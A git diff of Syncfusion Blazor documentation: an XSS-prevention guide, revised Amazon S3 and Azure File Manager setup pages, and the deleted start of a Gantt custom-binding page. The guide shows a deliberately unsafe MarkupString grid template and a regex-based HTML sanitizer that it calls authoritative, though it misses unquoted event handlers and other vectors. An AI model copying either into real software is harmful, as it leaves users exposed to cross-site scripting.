+    <SfBlockEditor Blocks="@BlocksData" EnableHtmlSanitizer="true"></SfBlockEditor>
+</div>
+@code {
+    private List<BlockModel> BlocksData = new()
+    {
+        new BlockModel
+        {
+            BlockType = BlockType.Paragraph,
+            Content = new()
+            {
+                new ContentModel
+                {
+                    ContentType = ContentType.Text,
+                    Content = "Safe content here"
+                }
+            }
+        }
+    };
+}
+
+```
+
+#### RichTextEditor with Client‑Side and Server‑Side Sanitization
+
+```csharp
+
+@using Syncfusion.Blazor.RichTextEditor
+@using System.Net.Http.Json
+@inject HttpClient Http
+
+<SfRichTextEditor @bind-Value="@ArticleContent"
+                  EnableHtmlSanitizer="true">
+    <RichTextEditorToolbarSettings Items="@Tools" />
+</SfRichTextEditor>
+
+<button class="e-btn e-primary" @onclick="SaveArticle">Save</button>
+
+@code {
+    private string ArticleContent { get; set; } = string.Empty;
+
+    private List<ToolbarItemModel> Tools = new()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.Underline }
+    };
+
+    private class SanitizedContent
+    {
+        public string CleanContent { get; set; } = string.Empty;
+    }
+
+    private async Task SaveArticle()
+    {
+        // Server-side sanitization required
+        var response = await Http.PostAsJsonAsync("api/articles/sanitize",
+            new { content = ArticleContent });
+        if (response.IsSuccessStatusCode)
+        {
+            var result = await response.Content.ReadFromJsonAsync<SanitizedContent>();
+            await StoreInDatabase(result!.CleanContent);
+        }
+    }
+
+    private Task StoreInDatabase(string cleanHtml) => Task.CompletedTask;
+}
+
+```
+
+### Safe HTML Rendering in Data Components
+
+Components that display user-generated or database content, such as **DataGrid** and **ListView**, follow the same rule: only render HTML that has been sanitized on the server, or display plain text which Blazor encodes automatically.
+
+#### DataGrid Templates
+
+Grid templates should display only content that has already been sanitized on the server. Any unsanitized HTML must never be rendered directly.
+
+#### UNSAFE - Direct HTML Rendering
+
+The example below shows a scenario that should never be used. It renders raw HTML from the data source using `MarkupString`, which bypasses Blazor’s HTML encoding.
+
+If the content includes malicious scripts, it can lead to `XSS (Cross‑Site Scripting)` attacks.
+
+```csharp
+
+@* NEVER DO THIS *@
+<SfGrid DataSource="@Comments">
+    <GridColumns>
+        <GridColumn Field="@nameof(Comment.Content)">
+            <Template>
+                @{
+                    var comment = (context as Comment);
+                    @((MarkupString)comment.Content) @* UNSAFE! *@
+                }
+            </Template>
+        </GridColumn>
+    </GridColumns>
+</SfGrid>
+
+```
+
+#### SAFE - Sanitized MarkupString (Server-Side Sanitization via API)
+
+In this example, the HTML content is cleaned and sanitized on the server before it is returned by the API.
+
+The `SanitizedContent` property contains only safe HTML, so rendering it with `MarkupString` is secure.
+
+```csharp
+
+@using System.Net.Http.Json
+@inject HttpClient Http
+
+<SfGrid DataSource="@Comments">
+    <GridColumns>
+        <GridColumn Field="@nameof(Comment.Author)" HeaderText="Author" Width="150" />
+        <GridColumn HeaderText="Comment" Width="400">
+            <Template Context="comment">
+                @((MarkupString)comment.SanitizedContent)
+            </Template>
+        </GridColumn>
+        <GridColumn Field="@nameof(Comment.CreatedAt)" HeaderText="Date" Width="150" Format="d" TextAlign="TextAlign.Center" />
+    </GridColumns>
+</SfGrid>
+
+@code {
+    private List<Comment> Comments { get; set; } = new();
+
+    protected override async Task OnInitializedAsync()
+    {
+        // Content is sanitized on the server before being returned
+        Comments = await Http.GetFromJsonAsync<List<Comment>>("api/comments") ?? new();
+    }
+}
+
+public class Comment
+{
+    public int Id { get; set; }
+    public string Author { get; set; } = string.Empty;
+    public string Content { get; set; } = string.Empty;
+    public string SanitizedContent { get; set; } = string.Empty;
+    public DateTime CreatedAt { get; set; }
+}
+
+```
+
+#### Alternative - Text-Only Rendering
+
+If HTML formatting is not required, render the content as plain text. Blazor automatically encodes all special characters, ensuring no injected scripts can execute regardless of what the data source contains.
+
+```csharp
+
+<SfGrid DataSource="@Comments">
+    <GridColumns>
+        <GridColumn Field="@nameof(Comment.Content)" HeaderText="Comment">
+            <Template Context="comment">
+                @comment.Content @* Safe - Blazor auto-encodes *@
+            </Template>
+        </GridColumn>
+    </GridColumns>
+</SfGrid>
+
+```
+
+#### ListView with Custom Templates
+
+The same safe rendering rules apply to ListView when displaying user-generated content.
+
+The following example conditionally renders content based on whether the message contains HTML. When `IsHtml` is `true`, only pre-sanitized content stored in `SanitizedContent` is rendered as markup. Otherwise, plain text is displayed using Blazor's automatic encoding. This keeps all messages safe regardless of their format.
+
+```csharp
+
+@using Syncfusion.Blazor.Lists
+
+<SfListView DataSource="@Messages"
+            CssClass="e-list-template"
+            EnableVirtualization="true">
+    <ListViewFieldSettings Text="Content" Id="Id"></ListViewFieldSettings>
+    <ListViewTemplates>
+        <Template Context="message">
+            <div class="message-container">
+                <div class="message-header">
+                    <strong>@message.Sender</strong>
+                    <span class="timestamp">@message.Timestamp.ToShortTimeString()</span>
+                </div>
+                <div class="message-body">
+                    @if (message.IsHtml)
+                    {
+                        @((MarkupString)message.SanitizedContent)
+                    }
+                    else
+                    {
+                        @message.Content @* Plain text - auto-encoded *@
+                    }
+                </div>
+            </div>
+        </Template>
+    </ListViewTemplates>
+</SfListView>
+
+@code {
+    private List<ChatMessage> Messages { get; set; } = new();
+
+    public class ChatMessage
+    {
+        public int Id { get; set; }
+        public string Sender { get; set; } = string.Empty;
+        public string Content { get; set; } = string.Empty;
+        public string SanitizedContent { get; set; } = string.Empty;
+        public bool IsHtml { get; set; }
+        public DateTime Timestamp { get; set; }
+    }
+}
+
+```
+
+## Server-Side Sanitization (Authoritative)
+
+Server-side sanitization is the **authoritative and required** defense against XSS attacks. Always treat it as the authoritative layer in your security strategy.
+
+### Built-in .NET Sanitization Support
+
+The `System.Text.Encodings.Web` namespace is part of the .NET SDK, so no additional packages are needed.
+
+| Namespace | Class | Purpose |
+|---|---|---|
+| `System.Text.Encodings.Web` | `HtmlEncoder` | Encode all HTML special characters |
+| `System.Text.RegularExpressions` | `Regex` | Strip disallowed tags and attributes |
+| `System.Web` | `HttpUtility.HtmlEncode` | Encode HTML in non-web contexts |
+
+### Server-Side Sanitization Example
+
+```csharp
+
+using System.Text.Encodings.Web;
+using System.Text.RegularExpressions;
+
+public class ContentService
+{
+    private readonly AppDbContext _context;
+
+    // Allow-list of safe HTML tags
+    private static readonly string[] AllowedTags =
+    {
+        "p", "br", "strong", "em", "u", "ol", "ul", "li",
+        "h1", "h2", "h3", "h4", "h5", "h6", "blockquote", "a", "img"
+    };
+
+    public ContentService(AppDbContext context)
+    {
+        _context = context;
+    }
+
+    /// <summary>Strips all tags not in the allow-list and removes dangerous attributes.</summary>
+    public string SanitizeHtml(string input)
+    {
+        if (string.IsNullOrEmpty(input))
+            return string.Empty;
+
+        // Remove tags outside allow-list
+        var tagPattern = $@"<(?!/?(?:{string.Join("|", AllowedTags)})\b)[^>]*>";
+        var result = Regex.Replace(input, tagPattern, string.Empty, RegexOptions.IgnoreCase);
+
+        // Remove event handler attributes
+        result = Regex.Replace(result, @"\s+on\w+\s*=\s*(""[^""]*""|'[^']*')", string.Empty, RegexOptions.IgnoreCase);
+
+        // Remove javascript: protocol in href/src
+        result = Regex.Replace(result, @"(href|src)\s*=\s*[""']?\s*javascript:[^""'>]*[""']?",
+            string.Empty, RegexOptions.IgnoreCase);
+
+        return result;
+    }
+
+    /// <summary>Fully encodes input — use for plain text fields.</summary>
+    public string EncodeText(string input)
+        => HtmlEncoder.Default.Encode(input ?? string.Empty);
+
+    // Sanitize before storing
+    public async Task<BlogPost> CreatePostAsync(BlogPost post)
+    {
+        post.Title   = EncodeText(post.Title);
+        post.Content = SanitizeHtml(post.Content);
+        post.Summary = EncodeText(post.Summary);
+
+        _context.BlogPosts.Add(post);
+        await _context.SaveChangesAsync();
+
+        return post;
+    }
+
+    // Sanitize when retrieving (defense-in-depth)
+    public async Task<BlogPost> GetPostAsync(int id)
+    {
+        var post = await _context.BlogPosts.FindAsync(id);
+        if (post != null)
+        {
+            post.Content = SanitizeHtml(post.Content);
+        }
+        return post;
+    }
+}
+
+```
+
+### API Controller Example
+
+```csharp
+
+using System.Text.Encodings.Web;
+using System.Text.RegularExpressions;
+
+[ApiController]
+[Route("api/[controller]")]
+public class CommentsController : ControllerBase
+{
+    private readonly CommentRepository _repository;
+
+    public CommentsController(CommentRepository repository)
+    {
+        _repository = repository;
+    }
+
+    [HttpPost]
+    public async Task<IActionResult> CreateComment([FromBody] CommentDto dto)
+    {
+        // Server-side validation
+        if (string.IsNullOrWhiteSpace(dto.Content))
+        {
+            return BadRequest("Content is required");
+        }
+
+        // Sanitize before storing
+        var comment = new Comment
+        {
+            Author    = HtmlEncoder.Default.Encode(dto.Author),
+            Content   = SanitizeAllowedTags(dto.Content),
+            CreatedAt = DateTime.UtcNow
+        };
+
+        await _repository.AddAsync(comment);
+        return Ok(comment);
+    }
+
+    private static string SanitizeAllowedTags(string input)
+    {
+        if (string.IsNullOrEmpty(input)) return string.Empty;
+
+        var allowed = new[] { "p", "br", "b", "i", "u" };
+        var pattern = $@"<(?!/?(?:{string.Join("|", allowed)})\b)[^>]*>";
+        var result  = Regex.Replace(input, pattern, string.Empty, RegexOptions.IgnoreCase);
+
+        result = Regex.Replace(result, @"\s+on\w+\s*=\s*(""[^""]*""|'[^']*')", string.Empty, RegexOptions.IgnoreCase);
+        return result;
+    }
+}
+
+``` 
\ No newline at end of file
diff --git a/blazor/datagrid/connecting-to-backends/elasticsearch.md b/blazor/datagrid/connecting-to-backends/elasticsearch.md
index 7165839d60..c33fa41335 100644
--- a/blazor/datagrid/connecting-to-backends/elasticsearch.md
+++ b/blazor/datagrid/connecting-to-backends/elasticsearch.md
@@ -7,7 +7,7 @@ control: DataGrid
 documentation: ug
 ---
 
-# Connecting Elasticsearch to Blazor Data Grid Using ES library
+# Connecting Blazor Data Grid to Elasticsearch
 
 The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from an Elasticsearch index using the Elastic.Clients.Elasticsearch library. This modern approach provides full-text search capabilities, advanced filtering, and high-performance data operations.
 
diff --git a/blazor/datagrid/getting-started.md b/blazor/datagrid/getting-started.md
index ecee564052..65d2af320c 100644
--- a/blazor/datagrid/getting-started.md
+++ b/blazor/datagrid/getting-started.md
@@ -1,7 +1,7 @@
 ---
 layout: post
-title: Getting Started with Blazor DataGrid | Syncfusion
-description: Checkout and learn about getting started with Syncfusion Blazor DataGrid in Blazor WebAssembly Application.
+title: Getting Started with Blazor DataGrid (WASM) | Syncfusion
+description: Learn how to add the Syncfusion Blazor DataGrid to a Blazor WebAssembly (WASM) app using Visual Studio, VS Code, or the .NET CLI step-by-step.
 platform: Blazor
 control: DataGrid
 documentation: ug
diff --git a/blazor/file-manager/amazon-S3-cloud-file-provider.md b/blazor/file-manager/amazon-S3-cloud-file-provider.md
index cca74a416e..69c5bcba58 100644
--- a/blazor/file-manager/amazon-S3-cloud-file-provider.md
+++ b/blazor/file-manager/amazon-S3-cloud-file-provider.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Amazon S3 cloud Provider in Blazor File Manager Component | Syncfusion
-description: Checkout and learn here all about Amazon S3 cloud file provider in Syncfusion Blazor File Manager component and more.
+description: Check out and learn about the Amazon S3 cloud file provider in the Syncfusion Blazor File Manager component.
 platform: Blazor
 control: File Manager
 documentation: ug
@@ -9,30 +9,51 @@ documentation: ug
 
 # Amazon S3 cloud file provider
 
-To get started with the Amazon S3 cloud file provider, ensure that you have an active Amazon Web Services (AWS) account and an S3 bucket created in the required AWS Region. You will also need the `AWS Access Key ID`, `Secret Access Key`, `bucket name` , and the `bucket region` to connect the File Manager to the S3 storage.
+## Introduction to Amazon S3
 
-To learn more about creating and configuring an Amazon S3 bucket, refer to this [link](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html).
+Amazon Simple Storage Service (Amazon S3) is AWS's object storage service for storing and retrieving any amount of data. S3 is durable, scalable, and pay‑as‑you‑go. In this guide the Syncfusion Blazor File Manager connects to S3 through an ASP.NET Core backend so you can securely browse and perform file operations in the File Manager component.
 
-The Amazon ***S3*** (*Simple Storage Service*) cloud file provider allows the users to access and manage a server hosted file system as collection of objects stored in the Amazon S3 Bucket. To get started, clone the [Amazon S3 File Provider](https://github.com/SyncfusionExamples/ej2-amazon-s3-aspcore-file-provider) using the following command
+## Prerequisites
 
-```
+Before you integrate Amazon S3 with the Syncfusion Blazor File Manager, ensure you have:
+ - An AWS Account
+ - A configured S3 Bucket
+ - AWS credentials: `awsAccessKeyId`, `awsSecretAccessKeyId`, `bucketRegion`, `awsRegion`.
+
+## Setting Up Amazon S3
+
+ - Open the [AWS Management Console guide](https://docs.aws.amazon.com/awsconsolehelpdocs/) and log into AWS Console -> Navigate to S3.
+ - Proceed by clicking `Create Bucket`. A bucket is a container for objects. An object is a file and any metadata that describes that file. The Amazon S3 provider requires a top-level root folder in your bucket to place all required files and subfolders inside this root. Click this [link](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) for more details.
+ - Provide a DNS-compliant bucket name. Click this [link](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html) for more details.
+ - Choose the AWS region. Click this [link](https://docs.aws.amazon.com/general/latest/gr/s3.html) for more details.
+
+## Backend Setup
 
-git clone https://github.com/SyncfusionExamples/ej2-amazon-s3-aspcore-file-provider.git  ej2-amazon-s3-aspcore-file-provider.git
+Clone the [Amazon S3 File Provider](https://github.com/SyncfusionExamples/amazon-s3-aspcore-file-provider) using the following command,
 
+```bash
+git clone https://github.com/SyncfusionExamples/ej2-amazon-s3-aspcore-file-provider ej2-amazon-s3-aspcore-file-provider
 ```
 
-After cloning, open the project in Visual Studio and restore the NuGet packages. Now, register Amazon S3 client account details like **bucketName**, **awsAccessKeyId**, **awsSecretAccessKeyId** and **awsRegion** details in **RegisterAmazonS3** method in the `AmazonS3ProviderController.cs` file to perform the file operations.
+N> This Amazon S3 provider for the Syncfusion Blazor File Manager is intended for demonstration and evaluation only. Before using it consult your security team and complete a security review.
 
-```csharp
+To initialize a local service with the above-mentioned file operations, create a folder named `Controllers` in the server project. Then, create a `.cs` file in the `Controllers` folder and add the required file operation code from [AmazonS3ProviderController.cs](https://github.com/SyncfusionExamples/amazon-s3-aspcore-file-provider/blob/master/Controllers/AmazonS3ProviderController.cs). You can also find the method-level details for this provider in the same repository.
 
-this.operation.RegisterAmazonS3("<---bucketName--->", "<---awsAccessKeyId--->", "<---awsSecretAccessKey--->", "<---region--->");
+## Registering S3 Credentials in the Provider
 
+After cloning, open the project in Visual Studio and restore the NuGet packages. Then, register the Amazon S3 client details (for example, **bucketName**, **awsAccessKeyId**, **awsSecretAccessKeyId**, and **awsRegion**) in the `RegisterAmazonS3` method in the `AmazonS3ProviderController.cs` file.
+
+```csharp
+this.operation.RegisterAmazonS3("<---bucketName--->", "<---awsAccessKeyId--->", "<---awsSecretAccessKey--->", "<---region--->");
 ```
 
-After registering the Amazon client account details, just build and run the project. Now, the project will be hosted in `http://localhost:{port}` and just mapping the [FileManagerAjaxSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html) property of the File Manager component to the appropriate controller methods allows to manage the Amazon ***S3*** (*Simple Storage Service*) bucket's objects storage.
+## Configuring Syncfusion File Manager UI
 
-```cshtml
+To configure File Manager component, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install **Syncfusion.Blazor.FileManager** and **Syncfusion.Blazor.Themes**. Integrate the FileManager component by pasting the below code in your .razor file of the Blazor application. Click this [link](https://blazor.syncfusion.com/documentation/file-manager/getting-started-with-web-app) for more details.
 
+Now, build and run the Amazon File Service provider project. It will be hosted at `http://localhost:{port}`. Map the [FileManagerAjaxSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html) of the File Manager component to the AmazonS3Provider controller endpoints (Url, UploadUrl, DownloadUrl, GetImageUrl) to manage objects in your S3 bucket.
+
+```cshtml
 @*Initializing File Manager with Amazon service*@
 
 @* Replace the hosted port number in the place of "{port}" *@
@@ -44,11 +65,19 @@ After registering the Amazon client account details, just build and run the proj
                              GetImageUrl="http://localhost:{port}/api/AmazonS3Provider/AmazonS3GetImage">
     </FileManagerAjaxSettings>
 </SfFileManager>
-
 ```
 
-To perform file operations (Read, Create, Rename, Delete, Get file details, Search, Copy, Move, Upload, Download, GetImage) in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component using the Amazon S3 cloud file provider, you need to initialize the Amazon S3 cloud file provider in the controller.
+To perform file operations (Read, Create, Rename, Delete, Get file details, Search, Copy, Move, Upload, Download, GetImage) in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component using the Amazon S3 cloud file provider, initialize the Amazon S3 cloud file provider in the controller.
+
+## Supported File Operations
+
+We have enabled below list of features that can be performed using Amazon File Service provider,
+
+|Operation | Function |
+|---|---|
+| Upload | [Directory upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_DirectoryUpload)<br/>[Sequential upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_SequentialUpload)<br/>[Chunk upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_ChunkSize)<br/>[Auto upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_AutoUpload)<br/>[Drag and drop upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_DropArea) |
+| Access Control | [Setting rules to files/folders](https://github.com/SyncfusionExamples/amazon-s3-aspcore-file-provider/blob/master/Models/AmazonS3FileProvider.cs#L62)<br/>[Supported rules](https://github.com/SyncfusionExamples/amazon-s3-aspcore-file-provider/blob/master/Models/Base/AccessDetails.cs#L65) |
 
-To initialize a local service with the above-mentioned file operations, create a new folder named `Controllers` inside the server part of the project. Then, create a new file with the extension `.cs` inside the Controllers folder and add the necessary file operations code available in the `AmazonS3ProviderController.cs` found at this [link](https://github.com/SyncfusionExamples/amazon-s3-aspcore-file-provider/blob/master/Controllers/AmazonS3ProviderController.cs). Additionally, you can check out all the necessary file operation method details for this provider in the same GitHub repository.
+Additionally, you can check out all the necessary file operation method details for this provider in the same GitHub repository. To access the live Amazon S3 File Provider demo refer to this [link](https://blazor.syncfusion.com/demos/file-manager/amazon-s3-provider?theme=fluent2)
 
 N> To learn more about the file actions that can be performed with Amazon S3 Cloud File provider, refer to this [link](https://github.com/SyncfusionExamples/amazon-s3-aspcore-file-provider#key-features)
\ No newline at end of file
diff --git a/blazor/file-manager/azure-cloud-file-system-provider.md b/blazor/file-manager/azure-cloud-file-system-provider.md
index bbf79552de..fc9dfab0ac 100644
--- a/blazor/file-manager/azure-cloud-file-system-provider.md
+++ b/blazor/file-manager/azure-cloud-file-system-provider.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Azure cloud provider in Blazor File Manager Component | Syncfusion
-description: Checkout and learn here all about Azure cloud file system provider in Syncfusion Blazor File Manager component and more.
+description: Check out and learn about the Azure cloud file system provider in the Syncfusion Blazor File Manager component.
 platform: Blazor
 control: File Manager
 documentation: ug
@@ -9,57 +9,75 @@ documentation: ug
 
 # Azure cloud file system provider
 
-To get started with the Azure cloud file system provider, ensure you have an active Microsoft Azure account with a configured Blob Storage service. Create a Blob Storage container and add a subfolder to manage files and directories through the File Manager.
+## Introduction to Azure Blob Storage
 
-The Azure file system provider allows the users to access and manage the blobs in the Azure blob storage. To get started, clone the [Azure File Provider](https://github.com/SyncfusionExamples/ej2-azure-aspcore-file-provider) using the following command.
+Azure Blob Storage is Microsoft Azure's object storage solution for the cloud, optimized for storing massive amounts of unstructured data. In this guide, the Syncfusion Blazor File Manager connects to Blob Storage through an ASP.NET Core backend so you can securely browse and perform file operations in the File Manager component.
 
-```
+## Prerequisites
 
-git clone https://github.com/SyncfusionExamples/ej2-azure-aspcore-file-provider  ej2-azure-aspcore-file-provider
+Before you integrate Azure Blob Storage with the Syncfusion Blazor File Manager, ensure you have:
+- An active Microsoft Azure subscription
+- A Storage Account with Blob service enabled
+- A Blob Container and an optional root folder inside that container
+- Azure credentials: `accountName`, `accountKey`, and `blobName`
 
-```
+## Setting Up Azure Blob Storage
 
-After cloning, just open the project in Visual Studio and restore the NuGet packages. Now, you need to register the Azure storage by passing details like **accountName**, **accountKey**, and **blobName** to the `RegisterAzure` method in the `AzureProviderController.cs` file.
+- Sign in to the [Azure Portal](https://portal.azure.com/) and [create a storage account](https://learn.microsoft.com/en-us/azure/storage/common/storage-account-create?tabs=azure-portal) with Blob service enabled.
+- [Create a Blob Container](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-quickstart-blobs-portal?tabs=azure-portal#create-a-container) (example: files). See Azure docs for [container naming rules](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction#naming-and-referencing-containers-blobs-and-metadata).
 
-```csharp
+## Backend Setup
 
-this.operation.RegisterAzure("<--accountName-->", "<--accountKey-->", "<--blobName-->");
+Clone the [Azure File Provider](https://github.com/SyncfusionExamples/azure-aspcore-file-provider) using the following command,
+
+```bash
+git clone https://github.com/SyncfusionExamples/ej2-azure-aspcore-file-provider ej2-azure-aspcore-file-provider
+```
 
- ```
+N> This Azure Blob Storage provider for the Syncfusion Blazor File Manager is intended for demonstration and evaluation only. Before using it in production, consult your security team and complete a security review.
 
-Then, set the blob container and the root blob directory by passing the corresponding URLs as parameters in the `SetBlobContainer` method as shown below.
+To initialize a local service with the above-mentioned file operations, create a folder named `Controllers` in the server project. Then, create a `.cs` file in the `Controllers` folder and add the required file operation code from [AzureProviderController.cs](https://github.com/SyncfusionExamples/azure-aspcore-file-provider/blob/master/Controllers/AzureProviderController.cs). You can also find the method-level details for this provider in the same repository.
+
+## Registering Azure Credentials in the Provider
+
+After cloning, open the project in Visual Studio and restore the NuGet packages. Then, register Azure Storage by passing **accountName**, **accountKey**, and **blobName** to the `RegisterAzure` method in the `AzureProviderController.cs` file.
 
 ```csharp
+this.operation.RegisterAzure("<--accountName-->", "<--accountKey-->", "<--blobName-->");
+```
+
+Then, set the blob container and the root blob directory by passing the corresponding URLs as parameters to the `SetBlobContainer` method, as shown below.
 
+```csharp
 public AzureProviderController(IHostingEnvironment hostingEnvironment)
 {
     this.operation = new AzureFileProvider();
     blobPath = "<--blobPath-->";
     filePath = "<--filePath-->";
     ...
-    this.operation.SetBlobContainer(blobPath, filePath);            
+    this.operation.SetBlobContainer(blobPath, filePath);
 }
-
 ```
 
-N> The **blobPath** represents a container path in Azure Blob Storage, and **filePath** refers to the file location path. For example, create a container named **files** in the specified Azure Blob Storage account. Inside that container, create a new folder named **Files**, which contains all the files and folders that need to be displayed in the File Manager. Refer to the following path as an example.
+N> The **blobPath** represents a container path in Azure Blob Storage, and **filePath** refers to the file location path. For example, create a container named **blob** in the specified Azure Blob Storage account. Inside that container, create a folder named **Files** that contains all the files and folders to be displayed in the File Manager. Refer to the following paths as an example.
 
 ```csharp
-
 public AzureProviderController(IHostingEnvironment hostingEnvironment)
 {
     this.operation = new AzureFileProvider();
-    blobPath = "https://azure_service_account.blob.core.windows.net/files/";
-    filePath = "https://azure_service_account.blob.core.windows.net/files/Files";
+    blobPath = "https://azure_service_account.blob.core.windows.net/blob/";
+    filePath = "https://azure_service_account.blob.core.windows.net/blob/Files";
     ...
 }
+```
 
-``` 
+## Configuring Syncfusion File Manager UI
 
-After setting the blob container references, just build and run the project. Now, the project will be hosted in `http://localhost:{port}` and just mapping the [FileManagerAjaxSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html) property of the File Manager component to the appropriate controller methods allows to manage the Azure blob storage.
+To configure File Manager component, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install **Syncfusion.Blazor.FileManager** and **Syncfusion.Blazor.Themes**. Integrate the FileManager component by pasting the below code in your .razor file of the Blazor application. Click this [link](https://blazor.syncfusion.com/documentation/file-manager/getting-started-with-web-app) for more details.
 
-```cshtml
+Now, build and run the Azure File Service provider project. It will be hosted in `http://localhost:{port}`. Map the [FileManagerAjaxSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerAjaxSettings.html) of the File Manager component to the AzureProvider controller endpoints (Url, UploadUrl, DownloadUrl, GetImageUrl) to manage blobs in your Azure Blob Storage container.
 
+```cshtml
 @*Initializing File Manager with Azure service.*@
 
 @* Replace the hosted port number in the place of "{port}" *@
@@ -71,21 +89,19 @@ After setting the blob container references, just build and run the project. Now
                              GetImageUrl="http://localhost:{port}/api/AzureProvider/AzureGetImage">
     </FileManagerAjaxSettings>
 </SfFileManager>
-
 ```
 
-N> **NuGet:** Additionally, a [NuGet](https://www.nuget.org/packages/Syncfusion.EJ2.FileManager.AzureFileProvider.AspNet.Core) package of **ASP.NET Core Azure file system provider** has been created.
-
-Use the following command to install the NuGet package in an application.
+To perform file operations (Read, Create, Rename, Delete, Get file details, Search, Copy, Move, Upload, Download, GetImage) in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component using the Azure cloud file system provider, initialize the Azure cloud provider in the controller.
 
-```
+## Supported File Operations
 
- dotnet add package Syncfusion.EJ2.FileManager.AzureFileProvider.AspNet.Core
-
-```
+We have enabled below list of features that can be performed using Azure File Service provider,
 
-To perform file operations (Read, Create, Rename, Delete, Get file details, Search, Copy, Move, Upload, Download, GetImage) in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor File Manager component using the Azure cloud file system provider, you need to initialize the Azure cloud provider in the controller.
+|Operation | Function |
+|---|---|
+| Upload | [Directory upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_DirectoryUpload)<br/>[Sequential upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_SequentialUpload)<br/>[Chunk upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_ChunkSize)<br/>[Auto upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_AutoUpload)<br/>[Drag and drop upload](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.FileManagerUploadSettings.html#Syncfusion_Blazor_FileManager_FileManagerUploadSettings_DropArea) |
+| Access Control | [Setting rules to files/folders](https://github.com/SyncfusionExamples/azure-aspcore-file-provider/blob/master/Models/AzureFileProvider.cs#L58)<br/>[Supported rules](https://github.com/SyncfusionExamples/azure-aspcore-file-provider/blob/master/Models/Base/AccessDetails.cs#L65) |
 
-To initialize a local service with the above-mentioned file operations, create a new folder named `Controllers` inside the server part of the project. Then, create a new file with the extension `.cs` inside the Controllers folder and add the necessary file operations code available in the `AzureProviderController.cs` found at this [link](https://github.com/SyncfusionExamples/azure-aspcore-file-provider/blob/master/Controllers/AzureProviderController.cs). Additionally, you can check out all the necessary file operation method details for this provider in the same GitHub repository.
+Additionally, you can check out all the necessary file operation method details for this provider in the same GitHub repository. To access the live Azure File Provider demo refer to this [link](https://blazor.syncfusion.com/demos/file-manager/azure?theme=fluent2)
 
-N> To learn more about file actions that can be performed with Azure cloud file system provider, refer to this [link](https://github.com/SyncfusionExamples/ej2-azure-aspcore-file-provider#key-features)
\ No newline at end of file
+N> To learn more about the file actions supported by the Azure cloud file system provider, refer to the [key features](https://github.com/SyncfusionExamples/azure-aspcore-file-provider#key-features).
\ No newline at end of file
diff --git a/blazor/gantt-chart/custom-binding.md b/blazor/gantt-chart/custom-binding.md
deleted file mode 100644
index 69e412ba43..0000000000
--- a/blazor/gantt-chart/custom-binding.md
+++ /dev/null
@@ -1,464 +0,0 @@
----
-layout: post
-title: Custom Binding in Blazor Gantt Chart Component | Syncfusion
-description: Checkout and learn here all about Custom Binding in Syncfusion Blazor Gantt Chart component and more.
-platform: Blazor
-control: Gantt Chart
-documentation: ug
----
-
-# Custom Binding in Blazor Gantt Chart Component
-
-The [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) has custom adaptor support which allows you to perform manual operations on the data. This can be utilized for implementing custom data binding and editing operations in the Gantt component.
-
-For implementing custom data binding in Gantt, the **DataAdaptor** class is used. This abstract class acts as a base class for the custom adaptor. The **DataAdaptor** abstract class has both synchronous and asynchronous method signatures which can be overridden in the custom adaptor. Following are the method signatures present in this class,
-
-```csharp
-public abstract class DataAdaptor
-{
-    /// <summary>
-    /// Performs data Read operation synchronously.
-    /// </summary>
-    public virtual object Read(DataManagerRequest dataManagerRequest, string key = null)
-
-    /// <summary>
-    /// Performs data Read operation asynchronously.
-    /// </summary>
-    public virtual Task<object> ReadAsync(DataManagerRequest dataManagerRequest, string key = null)
-
-    /// <summary>
-    /// Performs Insert operation synchronously.
-    /// </summary>
